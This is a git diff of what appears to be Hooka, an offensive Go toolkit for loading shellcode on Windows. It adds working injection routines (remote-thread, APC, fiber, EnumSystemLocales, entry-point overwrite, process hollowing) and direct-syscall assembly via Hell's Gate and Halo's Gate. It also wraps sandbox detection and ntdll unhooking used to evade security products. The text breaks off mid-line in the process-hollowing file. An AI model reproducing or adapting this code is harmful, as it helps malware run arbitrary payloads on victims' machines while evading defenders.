b/pkg/hooka/sandbox.go index 6e7c39b..44c09ed 100644 --- a/pkg/hooka/sandbox.go +++ b/pkg/hooka/sandbox.go @@ -1,39 +1,39 @@ package hooka -import "github.com/D3Ext/Hooka/core" +import "github.com/D3Ext/Hooka/evasion" -func AutoCheck() error { - return core.AutoCheck() +func AutoCheck() (bool, error) { + return evasion.AutoCheck() } func CheckMemory() (bool, error) { - return core.CheckMemory() + return evasion.CheckMemory() } func CheckDisk() (bool, error) { - return core.CheckDisk() + return evasion.CheckDisk() } func CheckInternet() bool { - return core.CheckInternet() + return evasion.CheckInternet() } func CheckHostname() (bool, error) { - return core.CheckHostname() + return evasion.CheckHostname() } func CheckUsername() (bool, error) { - return core.CheckUsername() + return evasion.CheckUsername() } func CheckCpu() bool { - return core.CheckCpu() + return evasion.CheckCpu() } func CheckDrivers() bool { - return core.CheckDrivers() + return evasion.CheckDrivers() } func CheckProcess() (bool, error) { - return core.CheckProcess() + return evasion.CheckProcess() } diff --git a/pkg/hooka/shellcode.go b/pkg/hooka/shellcode.go index 1add574..41d620c 100644 --- a/pkg/hooka/shellcode.go +++ b/pkg/hooka/shellcode.go @@ -1,53 +1,71 @@ package hooka -import "github.com/D3Ext/Hooka/core" - -func Inject(shellcode []byte, technique string, pid int) error { - return core.Inject(shellcode, technique, pid) -} - -func CreateRemoteThread(shellcode []byte, pid int) error { - return core.CreateRemoteThread(shellcode, pid) -} +import ( + sc_pkg "github.com/D3Ext/Hooka/shellcode" +) +// use 0 as pid to self-inject func CreateProcess(shellcode []byte, pid int) error { - return core.CreateProcess(shellcode, pid) + return sc_pkg.CreateProcess(shellcode, pid) +} + +// use 0 as pid to self-inject +func CreateRemoteThread(shellcode []byte, pid int) error { + return sc_pkg.CreateRemoteThread(shellcode, pid) +} + +func NtCreateThreadEx(shellcode []byte, pid int) error { + return sc_pkg.NtCreateThreadEx(shellcode, pid) +} + +func ProcessHollowing(shellcode []byte, proc string, blockdlls bool) error { + return sc_pkg.ProcessHollowing(shellcode, proc, blockdlls) } func EnumSystemLocales(shellcode []byte) error { - return core.EnumSystemLocales(shellcode) + return sc_pkg.EnumSystemLocales(shellcode) } func Fibers(shellcode []byte) error { - return core.Fibers(shellcode) + return sc_pkg.Fibers(shellcode) } func QueueUserApc(shellcode []byte) error { - return core.QueueUserApc(shellcode) + return sc_pkg.QueueUserApc(shellcode) +} + +func NtQueueApcThreadEx(shellcode []byte) error { + return sc_pkg.NtQueueApcThreadEx(shellcode) +} + +func NoRWX(shellcode []byte) error { + return sc_pkg.NoRWX(shellcode) } func UuidFromString(shellcode []byte) error { - return core.UuidFromString(shellcode) + return sc_pkg.UuidFromString(shellcode) } func EtwpCreateEtwThread(shellcode []byte) error { - return core.EtwpCreateEtwThread(shellcode) + return sc_pkg.EtwpCreateEtwThread(shellcode) } func RtlCreateUserThread(shellcode []byte, pid int) error { - return core.RtlCreateUserThread(shellcode, pid) + return sc_pkg.RtlCreateUserThread(shellcode, pid) } /* -Hell's Gate + Halo's Gate functions (WIP) +Hell's Gate + Halo's Gate functions */ -func CreateRemoteThreadHalos(shellcode []byte) error { - return core.CreateRemoteThreadHalos(shellcode) +func NtCreateThreadExHalos(shellcode []byte) error { + return sc_pkg.NtCreateThreadExHalos(shellcode) } func EnumSystemLocalesHalos(shellcode []byte) error { - return core.EnumSystemLocalesHalos(shellcode) + return sc_pkg.EnumSystemLocalesHalos(shellcode) } + + diff --git a/pkg/hooka/sleep.go b/pkg/hooka/sleep.go new file mode 100644 index 0000000..3e717c8 --- /dev/null +++ b/pkg/hooka/sleep.go @@ -0,0 +1,8 @@ +package hooka + +import "github.com/D3Ext/Hooka/evasion" + +func Sleep() { + evasion.Sleep() +} + diff --git a/pkg/hooka/syscall.go b/pkg/hooka/syscall.go index 97cd710..28e476b 100644 --- a/pkg/hooka/syscall.go +++ b/pkg/hooka/syscall.go @@ -1,15 +1,9 @@ package hooka -import "github.com/D3Ext/Hooka/core" +import "github.com/D3Ext/Hooka/evasion" func Syscall(callid uint16, argh ...uintptr) (uint32, error) { - return core.Syscall(callid, argh...) + return evasion.Syscall(callid, argh...) } -func Execute(shellcode []byte) error { - return core.Execute(shellcode) -} -func WriteMemory(inbuf []byte, destination uintptr) { - core.WriteMemory(inbuf, destination) -} diff --git a/pkg/hooka/unhook.go b/pkg/hooka/unhook.go index cf2456c..76c2e15 100644 --- a/pkg/hooka/unhook.go +++ b/pkg/hooka/unhook.go @@ -1,15 +1,17 @@ package hooka -import "github.com/D3Ext/Hooka/core" +import "github.com/D3Ext/Hooka/evasion" func ClassicUnhook(funcnames []string, dllpath string) error { - return core.ClassicUnhook(funcnames, dllpath) + return evasion.ClassicUnhook(funcnames, dllpath) } -func FullUnhook(dllpath string) error { - return core.FullUnhook(dllpath) +// unhook especified DLLs (provide full paths) +func FullUnhook(dlls_to_unhook []string) error { + return evasion.FullUnhook(dlls_to_unhook) } +// unhook ntdll.dll func PerunsUnhook() error { - return core.PerunsUnhook() + return evasion.PerunsUnhook() } diff --git a/shellcode/asm_x64.s b/shellcode/asm_x64.s new file mode 100644 index 0000000..1ca442a --- /dev/null +++ b/shellcode/asm_x64.s @@ -0,0 +1,112 @@ +//func GetNtdllStart() uintptr +TEXT ·GetNtdllStart(SB), $0-16 + //All operations push values into AX + //PEB + MOVQ 0x60(GS), AX + //PEB->LDR + MOVQ 0x18(AX),AX + + //LDR->InMemoryOrderModuleList + MOVQ 0x20(AX),AX + + //Flink (get next element) + MOVQ (AX),AX + + //Flink - 0x10 -> _LDR_DATA_TABLE_ENTRY + //_LDR_DATA_TABLE_ENTRY->DllBase (offset 0x30) + MOVQ 0x20(AX),CX + MOVQ CX, start+0(FP) + + MOVQ 0x30(AX),CX + MOVQ CX, size+8(FP) + + RET + +//func getModuleLoadedOrder(i int) (start uintptr, size uintptr) +TEXT ·getMLO(SB), $0-32 + //All operations push values into AX + //PEB + MOVQ 0x60(GS), AX + //PEB->LDR + MOVQ 0x18(AX),AX + + //LDR->InMemoryOrderModuleList + MOVQ 0x20(AX),AX + + //loop things + XORQ R10,R10 +startloop: + CMPQ R10,i+0(FP) + JE endloop + //Flink (get next element) + MOVQ (AX),AX + INCQ R10 + JMP startloop +endloop: + //Flink - 0x10 -> _LDR_DATA_TABLE_ENTRY + //_LDR_DATA_TABLE_ENTRY->DllBase (offset 0x30) + MOVQ 0x20(AX),CX + MOVQ CX, start+8(FP) + + MOVQ 0x30(AX),CX + MOVQ CX, size+16(FP) + MOVQ AX,CX + ADDQ $0x38,CX + MOVQ CX, modulepath+24(FP) + //SYSCALL + RET + +//based on https://golang.org/src/runtime/sys_windows_amd64.s +#define maxargs 16 +//func Syscall(callid uint16, argh ...uintptr) (uint32, error) +TEXT ·bpSyscall(SB), $0-56 + XORQ AX,AX + MOVW callid+0(FP), AX + PUSHQ CX + //put variadic size into CX + MOVQ argh_len+16(FP),CX + //put variadic pointer into SI + MOVQ argh_base+8(FP),SI + // SetLastError(0). + MOVQ 0x30(GS), DI + MOVL $0, 0x68(DI) + SUBQ $(maxargs*8), SP // room for args + // Fast version, do not store args on the stack. + CMPL CX, $4 + JLE loadregs + // Check we have enough room for args. + CMPL CX, $maxargs + JLE 2(PC) + INT $3 // not enough room -> crash + // Copy args to the stack. + MOVQ SP, DI + CLD + REP; MOVSQ + MOVQ SP, SI +loadregs: + //move the stack pointer????? why???? + SUBQ $8, SP + // Load first 4 args into correspondent registers. + MOVQ 0(SI), CX + MOVQ 8(SI), DX + MOVQ 16(SI), R8 + MOVQ 24(SI), R9 + // Floating point arguments are passed in the XMM + // registers. Set them here in case any of the arguments + // are floating point values. For details see + // https://msdn.microsoft.com/en-us/library/zthk2dkh.aspx + MOVQ CX, X0 + MOVQ DX, X1 + MOVQ R8, X2 + MOVQ R9, X3 + //MOVW callid+0(FP), AX + MOVQ CX, R10 + SYSCALL + ADDQ $((maxargs+1)*8), SP + // Return result. + POPQ CX + MOVL AX, errcode+32(FP) + RET + + + diff --git a/core/createprocess.go b/shellcode/createprocess.go similarity index 99% rename from core/createprocess.go rename to shellcode/createprocess.go index ef6d632..717998a 100644 --- a/core/createprocess.go +++ b/shellcode/createprocess.go @@ -1,4 +1,4 @@ -package core +package shellcode /* diff --git a/shellcode/createremotethread.go b/shellcode/createremotethread.go new file mode 100644 index 0000000..eb09c2e --- /dev/null +++ b/shellcode/createremotethread.go @@ -0,0 +1,78 @@ +package shellcode + +import ( + "errors" + "unsafe" + "golang.org/x/sys/windows" +) + +func CreateRemoteThread(shellcode []byte, pid int) error { + kernel32 := windows.NewLazySystemDLL("kernel32.dll") + + GetCurrentProcess := kernel32.NewProc("GetCurrentProcess") + OpenProcess := kernel32.NewProc("OpenProcess") + VirtualAllocEx := kernel32.NewProc("VirtualAllocEx") + VirtualProtectEx := kernel32.NewProc("VirtualProtectEx") + WriteProcessMemory := kernel32.NewProc("WriteProcessMemory") + CreateRemoteThreadEx := kernel32.NewProc("CreateRemoteThreadEx") + CloseHandle := kernel32.NewProc("CloseHandle") + + var pHandle uintptr + + if pid == 0 { + pHandle, _, _ = GetCurrentProcess.Call() + } else { + pHandle, _, _ = OpenProcess.Call( + windows.PROCESS_CREATE_THREAD|windows.PROCESS_VM_OPERATION|windows.PROCESS_VM_WRITE|windows.PROCESS_VM_READ|windows.PROCESS_QUERY_INFORMATION, + uintptr(0), + uintptr(pid), + ) + } + + addr, _, _ := VirtualAllocEx.Call( + uintptr(pHandle), + 0, + uintptr(len(shellcode)), + windows.MEM_COMMIT|windows.MEM_RESERVE, + windows.PAGE_READWRITE, + ) + + if addr == 0 { + return errors.New("VirtualAllocEx failed and returned 0") + } + + WriteProcessMemory.Call( + uintptr(pHandle), + addr, + (uintptr)(unsafe.Pointer(&shellcode[0])), + uintptr(len(shellcode)), + ) + + oldProtect := windows.PAGE_READWRITE + VirtualProtectEx.Call( + uintptr(pHandle), + addr, + uintptr(len(shellcode)), + windows.PAGE_EXECUTE_READ, + uintptr(unsafe.Pointer(&oldProtect)), + ) + + CreateRemoteThreadEx.Call( + uintptr(pHandle), + 0, + 0, + addr, + 0, + 0, + 0, + ) + + _, _, errCloseHandle := CloseHandle.Call(pHandle) + if errCloseHandle != nil { + return errCloseHandle + } + + return nil +} + + diff --git a/shellcode/enumsystemlocales.go b/shellcode/enumsystemlocales.go new file mode 100644 index 0000000..56fb05e --- /dev/null +++ b/shellcode/enumsystemlocales.go @@ -0,0 +1,92 @@ +package shellcode + +import ( + "unsafe" + "golang.org/x/sys/windows" + "github.com/D3Ext/Hooka/evasion" +) + +func EnumSystemLocales(shellcode []byte) error { + kernel32 := windows.NewLazyDLL("kernel32.dll") + ntdll := windows.NewLazyDLL("ntdll.dll") + + EnumSystemLocalesEx := kernel32.NewProc("EnumSystemLocalesEx") + NtAllocateVirtualMemory := ntdll.NewProc("NtAllocateVirtualMemory") + NtWriteVirtualMemory := ntdll.NewProc("NtWriteVirtualMemory") + + var addr uintptr + regionsize := uintptr(len(shellcode)) + + r1, _, err := NtAllocateVirtualMemory.Call(^uintptr(0), uintptr(unsafe.Pointer(&addr)), 0, uintptr(unsafe.Pointer(®ionsize)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_EXECUTE_READWRITE) + if r1 != 0 { + return err + } + + NtWriteVirtualMemory.Call(^uintptr(0), addr, uintptr(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)), 0) + + r1, _, err = EnumSystemLocalesEx.Call(addr, 0, 0, 0) + if r1 == 0 { + return err + } + + return nil +} + +/* + +Hell's Gate + Halo's Gate technique + +*/ + +func EnumSystemLocalesHalos(shellcode []byte) error { + kernel32 := windows.NewLazyDLL("kernel32.dll") + GetCurrentProcess := kernel32.NewProc("GetCurrentProcess") + EnumSystemLocalesEx := kernel32.NewProc("EnumSystemLocalesEx") + + NtAllocateVirtualMemory, err := evasion.GetSysId("NtAllocateVirtualMemory") + if err != nil { + return err + } + + NtWriteVirtualMemory, err := evasion.GetSysId("NtWriteVirtualMemory") + if err != nil { + return err + } + + pHandle, _, _ := GetCurrentProcess.Call() + + var addr uintptr + regionsize := uintptr(len(shellcode)) + + r1, err := evasion.Syscall( + NtAllocateVirtualMemory, + uintptr(pHandle), + uintptr(unsafe.Pointer(&addr)), + 0, + uintptr(unsafe.Pointer(®ionsize)), + windows.MEM_COMMIT|windows.MEM_RESERVE, + windows.PAGE_EXECUTE_READWRITE, + ) + + if r1 != 0 { + return err + } + + evasion.Syscall( + NtWriteVirtualMemory, + uintptr(pHandle), + addr, + uintptr(unsafe.Pointer(&shellcode[0])), + uintptr(len(shellcode)), + 0, + ) + + EnumSystemLocalesEx.Call( + addr, + 0, + 0, + 0, + ) + + return nil +} diff --git a/shellcode/etwpcreateetwthread.go b/shellcode/etwpcreateetwthread.go new file mode 100644 index 0000000..17e0531 --- /dev/null +++ b/shellcode/etwpcreateetwthread.go @@ -0,0 +1,43 @@ +package shellcode + +import ( + "unsafe" + "golang.org/x/sys/windows" +) + +func EtwpCreateEtwThread(shellcode []byte) error { + ntdll := windows.NewLazyDLL("ntdll.dll") + NtAllocateVirtualMemory := ntdll.NewProc("NtAllocateVirtualMemory") + NtProtectVirtualMemory := ntdll.NewProc("NtProtectVirtualMemory") + NtWaitForSingleObject := ntdll.NewProc("NtWaitForSingleObject") + RtlCopyMemory := ntdll.NewProc("RtlCopyMemory") + EtwpCreateEtwThread := ntdll.NewProc("EtwpCreateEtwThread") + + var addr uintptr + regionsize := uintptr(len(shellcode)) + + r1, _, err := NtAllocateVirtualMemory.Call(^uintptr(0), uintptr(unsafe.Pointer(&addr)), 0, uintptr(unsafe.Pointer(®ionsize)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE) + if r1 != uintptr(windows.STATUS_SUCCESS) { + return err + } + + RtlCopyMemory.Call(addr, uintptr(unsafe.Pointer(&shellcode[0])), regionsize) + + oldProtect := windows.PAGE_READWRITE + r2, _, err := NtProtectVirtualMemory.Call(^uintptr(0), uintptr(unsafe.Pointer(&addr)), uintptr(unsafe.Pointer(®ionsize)), windows.PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect))) + if r2 != 0 { + return err + } + + thread, _, err := EtwpCreateEtwThread.Call(addr, uintptr(0)) + if thread == 0 { + return err + } + + r3, _, err := NtWaitForSingleObject.Call(thread, uintptr(0), 0xFFFFFFFF) + if r3 != 0 { + return err + } + + return nil +} diff --git a/core/exports.go b/shellcode/exports.go similarity index 73% rename from core/exports.go rename to shellcode/exports.go index 001e14a..9fd5891 100644 --- a/core/exports.go +++ b/shellcode/exports.go @@ -1,4 +1,4 @@ -package core +package shellcode /* @@ -8,13 +8,6 @@ This package exports all windows struct which are used import ( "unsafe" - - "golang.org/x/sys/windows" -) - -const ( - ntdllpath = "C:\\Windows\\System32\\ntdll.dll" - kernel32path = "C:\\Windows\\System32\\kernel32.dll" ) const ( @@ -111,28 +104,6 @@ type IMAGE_NT_HEADER struct { OptionalHeader IMAGE_OPTIONAL_HEADER } -type IMAGE_DOS_HEADER struct { // DOS .EXE header - E_magic uint16 // Magic number - E_cblp uint16 // Bytes on last page of file - E_cp uint16 // Pages in file - E_crlc uint16 // Relocations - E_cparhdr uint16 // Size of header in paragraphs - E_minalloc uint16 // Minimum extra paragraphs needed - E_maxalloc uint16 // Maximum extra paragraphs needed - E_ss uint16 // Initial (relative) SS value - E_sp uint16 // Initial SP value - E_csum uint16 // Checksum - E_ip uint16 // Initial IP value - E_cs uint16 // Initial (relative) CS value - E_lfarlc uint16 // File address of relocation table - E_ovno uint16 // Overlay number - E_res [4]uint16 // Reserved words - E_oemid uint16 // OEM identifier (for E_oeminfo) - E_oeminfo uint16 // OEM information; E_oemid specific - E_res2 [10]uint16 // Reserved words - E_lfanew uint16 // File address of new exe header -} - type PEB struct { InheritedAddressSpace byte // BYTE 0 ReadImageFileExecOptions byte // BYTE 1 @@ -166,31 +137,6 @@ type PROCESS_BASIC_INFORMATION struct { InheritedFromUniqueProcessID uintptr // PVOID } -type ClientID struct { - UniqueProcess windows.Handle - UniqueThread windows.Handle -} - -type imageExportDir struct { - _, _ uint32 - _, _ uint16 - Name uint32 - Base uint32 - NumberOfFunctions uint32 - NumberOfNames uint32 - AddressOfFunctions uint32 - AddressOfNames uint32 - AddressOfNameOrdinals uint32 -} - -type memStatusEx struct { // Auxiliary struct to retrieve total memory - dwLength uint32 - dwMemoryLoad uint32 - ullTotalPhys uint64 - ullAvailPhys uint64 - unused [5]uint64 -} - type CLIENT_ID struct { UniqueProcess uintptr UniqueThread uintptr diff --git a/core/fibers.go b/shellcode/fibers.go similarity index 63% rename from core/fibers.go rename to shellcode/fibers.go index 549ff79..9a580d5 100644 --- a/core/fibers.go +++ b/shellcode/fibers.go @@ -1,4 +1,4 @@ -package core +package shellcode /* @@ -10,28 +10,19 @@ https://github.com/Ne0nd0g/go-shellcode/blob/master/cmd/CreateFiber/main.go import ( "errors" - "fmt" "unsafe" "golang.org/x/sys/windows" ) const ( - // MEM_COMMIT is a Windows constant used with Windows API calls MEM_COMMIT = 0x1000 - - // MEM_RESERVE is a Windows constant used with Windows API calls MEM_RESERVE = 0x2000 - - // PAGE_EXECUTE_READ is a Windows constant used with Windows API calls PAGE_EXECUTE_READ = 0x20 - - // PAGE_READWRITE is a Windows constant used with Windows API calls PAGE_READWRITE = 0x04 ) func Fibers(shellcode []byte) error { - kernel32 := windows.NewLazyDLL("kernel32.dll") ntdll := windows.NewLazyDLL("ntdll.dll") @@ -44,7 +35,6 @@ func Fibers(shellcode []byte) error { fiberAddr, _, _ := ConvertThreadToFiber.Call() // Convert thread to fiber - // Allocate shellcode addr, _, _ := VirtualAlloc.Call( 0, uintptr(len(shellcode)), @@ -56,7 +46,6 @@ func Fibers(shellcode []byte) error { return errors.New("VirtualAlloc failed and returned 0") } - // Copy shellcode to memory RtlCopyMemory.Call( addr, (uintptr)(unsafe.Pointer(&shellcode[0])), @@ -64,7 +53,6 @@ func Fibers(shellcode []byte) error { ) oldProtect := PAGE_READWRITE - // Change memory region to PAGE_EXECUTE_READ VirtualProtect.Call( addr, uintptr(len(shellcode)), @@ -72,22 +60,11 @@ func Fibers(shellcode []byte) error { uintptr(unsafe.Pointer(&oldProtect)), ) - // Create fiber - fiber, _, _ := CreateFiber.Call( - 0, - addr, - 0, - ) + fiber, _, _ := CreateFiber.Call(0, addr, 0) - _, _, errSwitchToFiber := SwitchToFiber.Call(fiber) - if errSwitchToFiber != nil { - fmt.Println("errSwitchToFiber", errSwitchToFiber.Error()) - } + SwitchToFiber.Call(fiber) - _, _, errSwitchToFiber2 := SwitchToFiber.Call(fiberAddr) - if errSwitchToFiber2 != nil { - fmt.Println("errSwitchToFiber2", errSwitchToFiber2.Error()) - } + SwitchToFiber.Call(fiberAddr) return nil } diff --git a/shellcode/no-rwx.go b/shellcode/no-rwx.go new file mode 100644 index 0000000..14c74c1 --- /dev/null +++ b/shellcode/no-rwx.go @@ -0,0 +1,58 @@ +package shellcode + +import ( + "encoding/binary" + "golang.org/x/sys/windows" + "unsafe" +) + +type IMAGE_DOS_HEADER struct { + E_lfanew uint32 +} + +func NoRWX(shellcode []byte) error { + kernel32 := windows.NewLazyDLL("kernel32.dll") + ntdll := windows.NewLazyDLL("ntdll.dll") + + CreateProcess := kernel32.NewProc("CreateProcessW") + ReadProcessMemory := kernel32.NewProc("ReadProcessMemory") + WriteProcessMemory := kernel32.NewProc("WriteProcessMemory") + ResumeThread := kernel32.NewProc("ResumeThread") + NtQueryInformationProcess := ntdll.NewProc("NtQueryInformationProcess") + + var info int32 + var returnLength int32 + + var pbi windows.PROCESS_BASIC_INFORMATION + si:= &windows.StartupInfo{} + pi := &windows.ProcessInformation{} + + cmd, err := windows.UTF16PtrFromString("C:\\Windows\\System32\\notepad.exe") + if err != nil { + return err + } + + CreateProcess.Call(0, uintptr(unsafe.Pointer(cmd)), 0, 0, 0, windows.CREATE_SUSPENDED, 0, 0, uintptr(unsafe.Pointer(si)), uintptr(unsafe.Pointer(pi))) + + NtQueryInformationProcess.Call(uintptr(pi.Process), uintptr(info), uintptr(unsafe.Pointer(&pbi)), uintptr(unsafe.Sizeof(windows.PROCESS_BASIC_INFORMATION{})), uintptr(unsafe.Pointer(&returnLength))) + + pebOffset := uintptr(unsafe.Pointer(pbi.PebBaseAddress)) + 0x10 + var imageBase uintptr = 0 + + ReadProcessMemory.Call(uintptr(pi.Process), pebOffset, uintptr(unsafe.Pointer(&imageBase)), 8, 0) + + headersBuffer := make([]byte, 4096) + + ReadProcessMemory.Call(uintptr(pi.Process), uintptr(imageBase), uintptr(unsafe.Pointer(&headersBuffer[0])), 4096, 0) + + var dosHeader IMAGE_DOS_HEADER + dosHeader.E_lfanew = binary.LittleEndian.Uint32(headersBuffer[60:64]) + ntHeader := (*IMAGE_NT_HEADER)(unsafe.Pointer(uintptr(unsafe.Pointer(&headersBuffer[0])) + uintptr(dosHeader.E_lfanew))) + codeEntry := uintptr(ntHeader.OptionalHeader.AddressOfEntryPoint) + imageBase + + WriteProcessMemory.Call(uintptr(pi.Process), codeEntry, uintptr(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)), 0) + + ResumeThread.Call(uintptr(pi.Thread)) + + return nil +} diff --git a/shellcode/ntcreatethreadex.go b/shellcode/ntcreatethreadex.go new file mode 100644 index 0000000..cba08f6 --- /dev/null +++ b/shellcode/ntcreatethreadex.go @@ -0,0 +1,143 @@ +package shellcode + +import ( + "unsafe" + "github.com/D3Ext/Hooka/evasion" + "golang.org/x/sys/windows" +) + +func NtCreateThreadEx(shellcode []byte, pid int) error { + ntdll := windows.NewLazyDLL("ntdll.dll") + kernel32 := windows.NewLazyDLL("kernel32.dll") + + NtAllocateVirtualMemory := ntdll.NewProc("NtAllocateVirtualMemory") + NtWriteVirtualMemory := ntdll.NewProc("NtWriteVirtualMemory") + NtProtectVirtualMemory := ntdll.NewProc("NtProtectVirtualMemory") + NtCreateThreadEx := ntdll.NewProc("NtCreateThreadEx") + NtWaitForSingleObject := ntdll.NewProc("NtWaitForSingleObject") + GetCurrentProcess := kernel32.NewProc("GetCurrentProcess") + OpenProcess := kernel32.NewProc("OpenProcess") + + var pHandle uintptr + + if pid == 0 { + pHandle, _, _ = GetCurrentProcess.Call() + } else { + pHandle, _, _ = OpenProcess.Call(windows.PROCESS_CREATE_THREAD|windows.PROCESS_VM_OPERATION|windows.PROCESS_VM_WRITE|windows.PROCESS_VM_READ|windows.PROCESS_QUERY_INFORMATION, uintptr(0), uintptr(pid)) + } + + var addr uintptr + regionsize := uintptr(len(shellcode)) + + r1, _, err := NtAllocateVirtualMemory.Call(uintptr(pHandle), uintptr(unsafe.Pointer(&addr)), 0, uintptr(unsafe.Pointer(®ionsize)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE) + if r1 != 0 { + return err + } + + NtWriteVirtualMemory.Call(uintptr(pHandle), addr, uintptr(unsafe.Pointer(&shellcode[0])), regionsize, 0) + + var oldProtect uintptr + r2, _, err := NtProtectVirtualMemory.Call(uintptr(pHandle), uintptr(unsafe.Pointer(&addr)), uintptr(unsafe.Pointer(®ionsize)), windows.PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect))) + if r2 != 0 { + return err + } + + var hhosthread uintptr + NtCreateThreadEx.Call(uintptr(unsafe.Pointer(&hhosthread)), 0x1FFFFF, 0, uintptr(pHandle), addr, 0, uintptr(0), 0, 0, 0, 0) + + NtWaitForSingleObject.Call(hhosthread, uintptr(0), 0xFFFFFFFF) + + return nil +} + +/* + +Hell's Gate + Halo's Gate technique + +*/ + +func NtCreateThreadExHalos(shellcode []byte) error { + + NtAllocateVirtualMemory, err := evasion.GetSysId("NtAllocateVirtualMemory") + if err != nil { + return err + } + + NtWriteVirtualMemory, err := evasion.GetSysId("NtWriteVirtualMemory") + if err != nil { + return err + } + + NtProtectVirtualMemory, err := evasion.GetSysId("NtProtectVirtualMemory") + if err != nil { + return err + } + + NtCreateThreadEx, err := evasion.GetSysId("NtCreateThreadEx") + if err != nil { + return err + } + + var addr uintptr + regionsize := uintptr(len(shellcode)) + + r1, err := evasion.Syscall( + NtAllocateVirtualMemory, + uintptr(0xffffffffffffffff), + uintptr(unsafe.Pointer(&addr)), + 0, + uintptr(unsafe.Pointer(®ionsize)), + windows.MEM_COMMIT|windows.MEM_RESERVE, + windows.PAGE_READWRITE, + ) + if r1 != 0 { + return err + } + + evasion.Syscall( + NtWriteVirtualMemory, + uintptr(0xffffffffffffffff), + addr, + uintptr(unsafe.Pointer(&shellcode[0])), + uintptr(len(shellcode)), + 0, + ) + + var oldProtect uintptr + r2, err := evasion.Syscall( + NtProtectVirtualMemory, + uintptr(0xffffffffffffffff), + uintptr(unsafe.Pointer(&addr)), + uintptr(unsafe.Pointer(®ionsize)), + windows.PAGE_EXECUTE_READ, + uintptr(unsafe.Pointer(&oldProtect)), + ) + if r2 != 0 { + return err + } + + var hhosthread uintptr + r3, err := evasion.Syscall( + NtCreateThreadEx, + uintptr(unsafe.Pointer(&hhosthread)), + 0x1FFFFF, + 0, + uintptr(0xffffffffffffffff), + addr, + 0, + uintptr(0), + 0, + 0, + 0, + 0, + ) + + windows.WaitForSingleObject(windows.Handle(hhosthread), 0xffffffff) + + if r3 != 0 { + return err + } + + return nil +} + diff --git a/shellcode/ntqueueapcthreadex.go b/shellcode/ntqueueapcthreadex.go new file mode 100644 index 0000000..da4928b --- /dev/null +++ b/shellcode/ntqueueapcthreadex.go @@ -0,0 +1,45 @@ +package shellcode + +import ( + "unsafe" + "golang.org/x/sys/windows" +) + +func NtQueueApcThreadEx(shellcode []byte) error { + const ( + QUEUE_USER_APC_FLAGS_NONE = iota + QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC + QUEUE_USER_APC_FLGAS_MAX_VALUE + ) + + kernel32 := windows.NewLazyDLL("kernel32.dll") + ntdll := windows.NewLazyDLL("ntdll.dll") + + GetCurrentThread := kernel32.NewProc("GetCurrentThread") + NtAllocateVirtualMemory := ntdll.NewProc("NtAllocateVirtualMemory") + NtProtectVirtualMemory := ntdll.NewProc("NtProtectVirtualMemory") + RtlCopyMemory := ntdll.NewProc("RtlCopyMemory") + NtQueueApcThreadEx := ntdll.NewProc("NtQueueApcThreadEx") + + var addr uintptr + regionsize := uintptr(len(shellcode)) + + r1, _, err := NtAllocateVirtualMemory.Call(^uintptr(0), uintptr(unsafe.Pointer(&addr)), 0, uintptr(unsafe.Pointer(®ionsize)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_EXECUTE_READWRITE) + if r1 != 0 { + return err + } + + RtlCopyMemory.Call(addr, uintptr(unsafe.Pointer(&shellcode[0])), regionsize) + + oldProtect := windows.PAGE_READWRITE + r2, _, err := NtProtectVirtualMemory.Call(^uintptr(0), uintptr(unsafe.Pointer(&addr)), uintptr(unsafe.Pointer(®ionsize)), windows.PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect))) + if r2 != 0 { + return err + } + + thread, _, _ := GetCurrentThread.Call() + + NtQueueApcThreadEx.Call(thread, QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC, uintptr(addr), 0, 0, 0) + + return nil +} diff --git a/shellcode/processhollowing.go b/shellcode/processhollowing.go new file mode 100644 index 0000000..cd8d7a9 --- /dev/null +++ b/shellcode/processhollowing.go @@ -0,0 +1,126 @@ +package shellcode + +import ( + "unsafe" + "encoding/binary" + "golang.org/x/sys/windows" +) + +type StartupInfoEx struct { + windows.StartupInfo + AttributeList *PROC_THREAD_ATTRIBUTE_LIST +} + +type ProcessInformation struct { + Process uintptr + Thread uintptr + ProcessId uint32 + ThreadId uint32 +} + +type PROC_THREAD_ATTRIBUTE_LIST struct { + dwFlags uint32 + size uint64 + count uint64 + reserved uint64 + unknown *uint64 + entries []*PROC_THREAD_ATTRIBUTE_ENTRY +} + +type PROC_THREAD_ATTRIBUTE_ENTRY struct { + attribute *uint32 + cbSize uintptr + lpValue uintptr +} + +type PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY struct { + Flags uint32 +} + +func ProcessHollowing(shellcode []byte, proc string, blockdlls bool) error { + kernel32 := windows.NewLazyDLL("kernel32.dll") + ntdll := windows.NewLazyDLL("ntdll.dll") + + GetProcessHeap := kernel32.NewProc("GetProcessHeap") + HeapAlloc := kernel32.NewProc("HeapAlloc") + HeapFree := kernel32.NewProc("HeapFree") + InitializeProcThreadAttributeList := kernel32.NewProc("InitializeProcThreadAttributeList") + UpdateProcThreadAttribute := kernel32.NewProc("UpdateProcThreadAttribute") + CreateProcessA := kernel32.NewProc("CreateProcessA") + ReadProcessMemory := kernel32.NewProc("ReadProcessMemory") + WriteProcessMemory := kernel32.NewProc("WriteProcessMemory") + ResumeThread := kernel32.NewProc("ResumeThread") + ZwQueryInformationProcess := ntdll.NewProc("ZwQueryInformationProcess") + + var pbi PROCESS_BASIC_INFORMATION + var si StartupInfoEx + var pi ProcessInformation + + if (blockdlls) { + procThreadAttributeSize := uintptr(0) + InitializeProcThreadAttributeList.Call(0, 2, 0, uintptr(unsafe.Pointer(&procThreadAttributeSize))) + + procHeap, _, err := GetProcessHeap.Call() + if procHeap == 0 { + return err + } + + attributeList, _, err := HeapAlloc.Call(procHeap, 0, procThreadAttributeSize) + if attributeList == 0 { + return err + } + defer HeapFree.Call(procHeap, 0, attributeList) + + si.AttributeList = (*PROC_THREAD_ATTRIBUTE_LIST)(unsafe.Pointer(attributeList)) + + InitializeProcThreadAttributeList.Call(uintptr(unsafe.Pointer(si.AttributeList)), 2, 0, uintptr(unsafe.Pointer(&procThreadAttributeSize))) + + mitigate := 0x20007 + nonms := 